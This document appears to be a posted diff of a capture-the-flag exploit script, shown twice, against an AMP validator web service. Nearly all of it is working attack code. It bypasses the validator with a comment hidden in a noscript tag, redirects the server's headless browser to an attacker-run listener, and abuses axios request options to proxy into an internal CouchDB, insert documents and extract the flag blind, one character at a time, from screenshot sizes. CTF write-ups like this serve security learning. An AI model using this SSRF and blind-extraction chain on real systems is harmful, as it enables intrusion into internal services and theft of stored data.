wbowling · June 29, 2020 04:12
diff --git a/amp2020.py b/amp2020.py
 #!/usr/bin/env python

 from pwn import *
 import requests
 import string

 """
 * can add arbitrary html and pass the validator by adding a tag comment inside the <noscript> and close it
 * axios uses `input` directly and we can make it an object allowing full param control
 * cheerio needs a string, but axios tries to return the response as json. If you add `爀` and set the `responseEncoding` to `ascii` the json parsing fails and it returns text
 * add 25 entries to the db, the last one containing `爀<script><\/script>`
 * use the couchdb `_find` api to do a partial match of the flag, if it matches the `<script>` doc will be off the page (26) results otherwise it will be returned
 * Using the above the screenshot will either contain the amp errors (huge) or the "BONUS LIMIT" error (small) so can do a blind search based on the result size

 need to run the add_script_doc function once to populate the db, then comment it out for the blind search
 """

 HTML="""
 <html>

 <body>
    <script>
        const loginUser = "vakzz3";
        const user = "a" + "3fcd9a6bcdb771f8241b594ba4546ec9";

        const BASE = "http://localhost:3000/"
        function setup() {
            var iframe = document.createElement("iframe");
            iframe.name = "iframe";
            iframe.width = 800;
            iframe.height = 600;
            document.body.appendChild(iframe);
        }

        function create_form(path) {
            var form = document.createElement("form");
            form.method = "POST";
            form.action = BASE + path;
            form.target = "iframe";
            document.body.appendChild(form);
            return form;
        }

        function create_input(name, value) {
            var element = document.createElement("input");
            element.name = name;
            element.value = value;
            element.type = "hidden";
            return element;
        }

        async function login() {
            form = create_form("users/login")
            form.appendChild(create_input("username", loginUser));
            form.appendChild(create_input("password", "vakzz"));
            form.submit();
            await new Promise((resolve) => setTimeout(resolve, 300));
        }

        async function add_script_doc() {
            form = create_form("validator")
            form.appendChild(create_input("type", "url"));
            form.appendChild(create_input("input[url]", `http://8.8.8.8:5984/${user}/_bulk_docs`));
            form.appendChild(create_input("input[proxy][host]", "couchdb"));
            form.appendChild(create_input("input[proxy][port]", "5984"));
            for (let i = 0; i < 24; i++) {
                form.appendChild(create_input(`input[data][docs][${i}][_id]`, `inject${i}`));
            }

            form.appendChild(create_input(`input[data][docs][24][_id]`, `script`));
            form.appendChild(create_input(`input[data][docs][24][body]`, `爀<script><\/script>`));
            form.appendChild(create_input("input[auth][username]", user))
            form.appendChild(create_input("input[auth][password]", "vakzz"))
            form.appendChild(create_input("input[method]", "post"));
            form.submit();
            await new Promise((resolve) => setTimeout(resolve, 300));
        }

        async function get_flag() {
            form = create_form("validator")
            form.appendChild(create_input("type", "url"));
            form.appendChild(create_input("input[url]", `http://8.8.8.8:5984/${user}/_find`));
            form.appendChild(create_input("input[proxy][host]", "couchdb"));

            form.appendChild(create_input("input[proxy][port]", "5984"));
            form.appendChild(create_input("input[auth][username]", user))
            form.appendChild(create_input("input[auth][password]", "vakzz"))
            form.appendChild(create_input("input[data][selector][$or][0][flag][$regex]", "THE_REGEX"))
            form.appendChild(create_input("input[data][selector][$or][1][_id][$regex]", "(inject|script).*"))
            form.appendChild(create_input("input[method]", "post"));
            form.appendChild(create_input("input[responseEncoding]", "ascii"));



            form.submit();
            await new Promise((resolve) => setTimeout(resolve, 300));
        }

        async function gogo() {
            setup();
            await login();
            // await add_script_doc();
            await get_flag();
        }

        gogo();

    </script>
 </body>

 </html>
 """

 PAYLOAD="""<!doctype html>
 <html amp lang="en">
  <head>
    <noscript><style amp-boilerplate>body{-webkit-animation:none;-moz-animation:none;-ms-animation:none;animation:none}</style>
       <!-- </noscript>  <meta http-equiv="refresh" content="0;url=http://aw.rs:12344"> -->
    </noscript>

    <meta charset="utf-8">
    <script async src="https://cdn.ampproject.org/v0.js"></script>
    <title>Hello, AMPs</title>
    <link rel="canonical" href="https://amp.dev/documentation/guides-and-tutorials/start/create/basic_markup/">
    <meta name="viewport" content="width=device-width,minimum-scale=1,initial-scale=1">
    <style amp-boilerplate>body{-webkit-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-moz-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-ms-animation:-amp-start 8s steps(1,end) 0s 1 normal both;animation:-amp-start 8s steps(1,end) 0s 1 normal both}@-webkit-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-moz-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-ms-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-o-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}</style>
  </head>
  <body>
    <h1>Welcome to the mobile web</h1>
  </body>
 </html>"""

 flag = ""
 found = "t4ke_a_google_amp_screensh0t_and_fell_"
 def cb(c):
    ppp = HTML.replace("THE_REGEX", "^flag{" + flag + ".*}$")
    c.send("""HTTP/1.1 200 OK\r\nContent-Length:{}\r\nContent-Type: text/html; charset=utf-8\r\n\r\n{}""".format(len(ppp),ppp))
    c.close()

 l = server(12344, callback=cb)

 s = requests.Session()
 while True:
    for c in "_" + string.ascii_lowercase + string.digits:
        flag = found + c
        s.post("http://pwnable.org:33000/users/login", data={"password":"vakzz", "username": "vakzz"})
        resp = s.post("http://pwnable.org:33000/validator", data={"type":"text", "input": PAYLOAD})

        body = resp.json()
        size = len(body["image"])
        print(flag, size)
        if size < 15000:
            found = flag
            break

 # flag{t4ke_a_google_amp_screensh0t_and_fell_into_millions_pit}
	#!/usr/bin/env python

	from pwn import *
	import requests
	import string

	"""
	* can add arbitrary html and pass the validator by adding a tag comment inside the <noscript> and close it
	* axios uses `input` directly and we can make it an object allowing full param control
	* cheerio needs a string, but axios tries to return the response as json. If you add `爀` and set the `responseEncoding` to `ascii` the json parsing fails and it returns text
	* add 25 entries to the db, the last one containing `爀<script><\/script>`
	* use the couchdb `_find` api to do a partial match of the flag, if it matches the `<script>` doc will be off the page (26) results otherwise it will be returned
	* Using the above the screenshot will either contain the amp errors (huge) or the "BONUS LIMIT" error (small) so can do a blind search based on the result size

	need to run the add_script_doc function once to populate the db, then comment it out for the blind search
	"""

	HTML="""
	<html>

	<body>
	<script>
	const loginUser = "vakzz3";
	const user = "a" + "3fcd9a6bcdb771f8241b594ba4546ec9";

	const BASE = "http://localhost:3000/"
	function setup() {
	var iframe = document.createElement("iframe");
	iframe.name = "iframe";
	iframe.width = 800;
	iframe.height = 600;
	document.body.appendChild(iframe);
	}

	function create_form(path) {
	var form = document.createElement("form");
	form.method = "POST";
	form.action = BASE + path;
	form.target = "iframe";
	document.body.appendChild(form);
	return form;
	}

	function create_input(name, value) {
	var element = document.createElement("input");
	element.name = name;
	element.value = value;
	element.type = "hidden";
	return element;
	}

	async function login() {
	form = create_form("users/login")
	form.appendChild(create_input("username", loginUser));
	form.appendChild(create_input("password", "vakzz"));
	form.submit();
	await new Promise((resolve) => setTimeout(resolve, 300));
	}

	async function add_script_doc() {
	form = create_form("validator")
	form.appendChild(create_input("type", "url"));
	form.appendChild(create_input("input[url]", `http://8.8.8.8:5984/${user}/_bulk_docs`));
	form.appendChild(create_input("input[proxy][host]", "couchdb"));
	form.appendChild(create_input("input[proxy][port]", "5984"));
	for (let i = 0; i < 24; i++) {
	form.appendChild(create_input(`input[data][docs][${i}][_id]`, `inject${i}`));
	}

	form.appendChild(create_input(`input[data][docs][24][_id]`, `script`));
	form.appendChild(create_input(`input[data][docs][24][body]`, `爀<script><\/script>`));
	form.appendChild(create_input("input[auth][username]", user))
	form.appendChild(create_input("input[auth][password]", "vakzz"))
	form.appendChild(create_input("input[method]", "post"));
	form.submit();
	await new Promise((resolve) => setTimeout(resolve, 300));
	}

	async function get_flag() {
	form = create_form("validator")
	form.appendChild(create_input("type", "url"));
	form.appendChild(create_input("input[url]", `http://8.8.8.8:5984/${user}/_find`));
	form.appendChild(create_input("input[proxy][host]", "couchdb"));

	form.appendChild(create_input("input[proxy][port]", "5984"));
	form.appendChild(create_input("input[auth][username]", user))
	form.appendChild(create_input("input[auth][password]", "vakzz"))
	form.appendChild(create_input("input[data][selector][$or][0][flag][$regex]", "THE_REGEX"))
	form.appendChild(create_input("input[data][selector][$or][1][_id][$regex]", "(inject\|script).*"))
	form.appendChild(create_input("input[method]", "post"));
	form.appendChild(create_input("input[responseEncoding]", "ascii"));



	form.submit();
	await new Promise((resolve) => setTimeout(resolve, 300));
	}

	async function gogo() {
	setup();
	await login();
	// await add_script_doc();
	await get_flag();
	}

	gogo();

	</script>
	</body>

	</html>
	"""

	PAYLOAD="""<!doctype html>
	<html amp lang="en">
	<head>
	<noscript><style amp-boilerplate>body{-webkit-animation:none;-moz-animation:none;-ms-animation:none;animation:none}</style>
	<!-- </noscript> <meta http-equiv="refresh" content="0;url=http://aw.rs:12344"> -->
	</noscript>

	<meta charset="utf-8">
	<script async src="https://cdn.ampproject.org/v0.js"></script>
	<title>Hello, AMPs</title>
	<link rel="canonical" href="https://amp.dev/documentation/guides-and-tutorials/start/create/basic_markup/">
	<meta name="viewport" content="width=device-width,minimum-scale=1,initial-scale=1">
	<style amp-boilerplate>body{-webkit-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-moz-animation:-amp-start 8s steps(1,end) 0s 1 normal both;-ms-animation:-amp-start 8s steps(1,end) 0s 1 normal both;animation:-amp-start 8s steps(1,end) 0s 1 normal both}@-webkit-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-moz-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-ms-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@-o-keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}@keyframes -amp-start{from{visibility:hidden}to{visibility:visible}}</style>
	</head>
	<body>
	<h1>Welcome to the mobile web</h1>
	</body>
	</html>"""

	flag = ""
	found = "t4ke_a_google_amp_screensh0t_and_fell_"
	def cb(c):
	ppp = HTML.replace("THE_REGEX", "^flag{" + flag + ".*}$")
	c.send("""HTTP/1.1 200 OK\r\nContent-Length:{}\r\nContent-Type: text/html; charset=utf-8\r\n\r\n{}""".format(len(ppp),ppp))
	c.close()

	l = server(12344, callback=cb)

	s = requests.Session()
	while True:
	for c in "_" + string.ascii_lowercase + string.digits:
	flag = found + c
	s.post("http://pwnable.org:33000/users/login", data={"password":"vakzz", "username": "vakzz"})
	resp = s.post("http://pwnable.org:33000/validator", data={"type":"text", "input": PAYLOAD})

	body = resp.json()
	size = len(body["image"])
	print(flag, size)
	if size < 15000:
	found = flag
	break

	# flag{t4ke_a_google_amp_screensh0t_and_fell_into_millions_pit}